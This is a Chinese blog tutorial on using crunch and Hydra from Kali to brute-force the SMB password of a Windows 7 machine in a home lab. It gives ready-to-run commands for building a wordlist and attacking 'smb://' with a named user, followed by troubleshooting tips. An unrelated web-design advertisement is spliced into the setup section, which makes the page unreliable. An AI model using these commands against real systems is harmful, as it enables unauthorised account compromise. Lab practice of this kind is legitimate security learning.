准备环境

一如既往的要求：

创新互联服务项目包括五台网站建设、五台网站制作、五台网页制作以及五台网络营销策划等。多年来，我们专注于互联网行业，利用自身积累的技术优势、行业经验、深度合作伙伴关系等，向广大中小型企业、政府机构等提供互联网行业的解决方案，五台网站推广取得了明显的社会效益与经济效益。目前，我们服务的客户以成都为中心已经辐射到五台省份的部分城市，未来相信会继续扩大服务区域并继续获得客户的支持与信任！

• 准备Kali系统
• 准备Win7系统
• Kali和Win7之间能够ping通

实验目的

通过破解SMB端口获取Win7密码

实验开始

这回比上次简单了哈
打开Kali 进入 Hydra
首先创建字典，这里就不详细解释指令的意思了，可以参考上一篇 《Hydra破解SSH端口》
输入：

crunch 6 6 012345    //这一条可以省略，直接下下面这条
crunch 6 6 012345 -o pass.txt
...
hydra -l hp -P pass.txt  -vV smb://192.168.139.134
// Win7的用户名可能跟Win10的不一样，根据实际情况来填写

打完这些就ok啦

常见问题

为什么不做复杂密码的破解

简单的纯数字6位密码就有46656种组合方式，326592字节
8位的大小写字母+数字这种组合型密码，生成的文本大概是1787TB
简单一点的组合型密码也可以尝试，只需要修改crunch的指令，可以自定义设置，具体的指令百度

执行破解代码没反应

像这种情况就是 解析不到IP地址
一般的情况就是两台主机之间不能互相ping通 记住是互相 光以方ping通是不行的
还有就是防火墙没关，因为今天换了一个系统做实验 记得关双方的防火墙

破解过程中正确密码已经过了，程序却还在运行

这种情况可能是你的字典设置的有问题，匹配不上密码，检查一下字典的范围
还有一种情况就是被破解的主机没有设置密码

有任何问题可以私信或评论，一起探讨。

文章标题：Hydra破解SMB端口
URL地址：http://hbruida.cn/article/ppcoeo.html